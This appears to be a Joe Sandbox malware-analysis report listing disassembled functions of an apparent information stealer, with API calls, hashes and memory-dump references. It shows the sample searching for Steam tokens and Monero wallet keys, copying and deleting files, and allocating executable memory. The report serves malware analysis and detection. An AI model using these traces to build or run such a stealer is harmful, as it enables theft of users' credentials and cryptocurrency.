Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 435e2495be19c808beae327ca8a92ac2935b3f58f46028b2900c5d974df7b424
Instruction ID: e4f36640c5e30cf3f22d01a6c59c6c1e7cd55d9e522de182b161fd9ef5254130
Opcode Fuzzy Hash: 435e2495be19c808beae327ca8a92ac2935b3f58f46028b2900c5d974df7b424
Instruction Fuzzy Hash: 8CF01D7291050866CB16F7B4ED979ED773C9F54300F404268F4966E092EF346609D7A2

Function 00337ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00340E2C), ref: 00337F00
wsprintfA.USER32 ref: 00337F16

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 5d4c6f54f91a412ea26abc5f6903cca13aa9c3e8c3813ce354f0656d694827e6
Instruction ID: cf26b28297f8a4c33277099fc1fe0c80a57a74b553f6977ea817df7f84713204
Opcode Fuzzy Hash: 5d4c6f54f91a412ea26abc5f6903cca13aa9c3e8c3813ce354f0656d694827e6
Instruction Fuzzy Hash: 4CF096B1A04208EBC714CF88DC45FEAF7BCFB44714F000669F515A3680D7B569448BD1

Function 0032B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

lstrlen.KERNEL32(00000000), ref: 0032B9C2
lstrlen.KERNEL32(00000000), ref: 0032B9D6

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 57df80528aafe1df42f2e1d89be97978fd9a26dde5642432dbba72869ff25d12
Instruction ID: 373bc7b44c6e8d06d870089c4a6f875e56848831a78fe2c737f46c43bb6adb06
Opcode Fuzzy Hash: 57df80528aafe1df42f2e1d89be97978fd9a26dde5642432dbba72869ff25d12
Instruction Fuzzy Hash: B7E10E72910518ABDB06FBA4DCD2EEE7778AF14300F404169F1467E0A1EF746A49DFA2

Function 0032AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

lstrlen.KERNEL32(00000000), ref: 0032B16A
lstrlen.KERNEL32(00000000), ref: 0032B17E

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 9977ace84ddc368a7d1a1480b40e74f4593c129ac0f6a0eb2cd884d91aa9652f
Instruction ID: d6b86fc0e9ce345e813f525ad1646c49adb3ed7110dde510a83460587594c60c
Opcode Fuzzy Hash: 9977ace84ddc368a7d1a1480b40e74f4593c129ac0f6a0eb2cd884d91aa9652f
Instruction Fuzzy Hash: 36913D72910508ABCB06EBA4DCD2EEE7778AF14300F404168F547BF091EF746A49DBA2

Function 0032B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

lstrlen.KERNEL32(00000000), ref: 0032B42E
lstrlen.KERNEL32(00000000), ref: 0032B442

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: f727e589d8a7c2bfeb0429203f20a27f5bf4b285fc3a7f52b85b48b8f478703d
Instruction ID: bfaf1afd4e9534580f1ca65f1f25beb29bee721d76e026f4ef2333eb22876091
Opcode Fuzzy Hash: f727e589d8a7c2bfeb0429203f20a27f5bf4b285fc3a7f52b85b48b8f478703d
Instruction Fuzzy Hash: 8B714E72910518ABCB06FBA4DCD2EEE7778BF54300F404528F542AF191EF346A09DBA2

Function 00334BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00338DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

lstrcat.KERNEL32(?,00000000), ref: 00334BEA
lstrcat.KERNEL32(?,00F2DDA8), ref: 00334C08

Part of subcall function 00334910: wsprintfA.USER32 ref: 0033492C
Part of subcall function 00334910: FindFirstFileA.KERNEL32(?,?), ref: 00334943

Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,00340FDC), ref: 00334971
Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,00340FE0), ref: 00334987
Part of subcall function 00334910: FindNextFileA.KERNEL32(000000FF,?), ref: 00334B7D
Part of subcall function 00334910: FindClose.KERNEL32(000000FF), ref: 00334B92

Part of subcall function 00334910: wsprintfA.USER32 ref: 003349B0
Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,003408D2), ref: 003349C5
Part of subcall function 00334910: wsprintfA.USER32 ref: 003349E2
Part of subcall function 00334910: PathMatchSpecA.SHLWAPI(?,?), ref: 00334A1E
Part of subcall function 00334910: lstrcat.KERNEL32(?,00F2E920), ref: 00334A4A
Part of subcall function 00334910: lstrcat.KERNEL32(?,00340FF8), ref: 00334A5C
Part of subcall function 00334910: lstrcat.KERNEL32(?,?), ref: 00334A70
Part of subcall function 00334910: lstrcat.KERNEL32(?,00340FFC), ref: 00334A82
Part of subcall function 00334910: lstrcat.KERNEL32(?,?), ref: 00334A96
Part of subcall function 00334910: CopyFileA.KERNEL32(?,?,00000001), ref: 00334AAC
Part of subcall function 00334910: DeleteFileA.KERNEL32(?), ref: 00334B31

Part of subcall function 00334910: wsprintfA.USER32 ref: 00334A07

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: fbd4ad297366f17f6595bfafbb7dd5cdfc08f350d1072b0eb831f4bb2b8cd431
Instruction ID: 61de2d10b1f66b3b91a6b9102d2a6bf7a020f1ae016842164e124807656bac56
Opcode Fuzzy Hash: fbd4ad297366f17f6595bfafbb7dd5cdfc08f350d1072b0eb831f4bb2b8cd431
Instruction Fuzzy Hash: 17416A7760010467C755F764EC82EEE337DABA5700F008548F6556B185EEB56B8C8FD2

Function 00326660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00326706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00326753

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 853990cfab8f8e2da73feae6ac25f4d4846ca6c9c03ac44890b46d3bc86bf7e3
Instruction ID: 8e82e8c019bfb75ce49c543bed2bab60d389d7a8bf475f1718f8d8216d19ecb5
Opcode Fuzzy Hash: 853990cfab8f8e2da73feae6ac25f4d4846ca6c9c03ac44890b46d3bc86bf7e3
Instruction Fuzzy Hash: 28410B74A00208EFCB45CF98D495BADBBB1FF48314F2482A9E8499B341D731EA81CF84

Function 00335050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00338DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

lstrcat.KERNEL32(?,00000000), ref: 0033508A
lstrcat.KERNEL32(?,00F2E4A0), ref: 003350A8

Part of subcall function 00334910: wsprintfA.USER32 ref: 0033492C
Part of subcall function 00334910: FindFirstFileA.KERNEL32(?,?), ref: 00334943

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
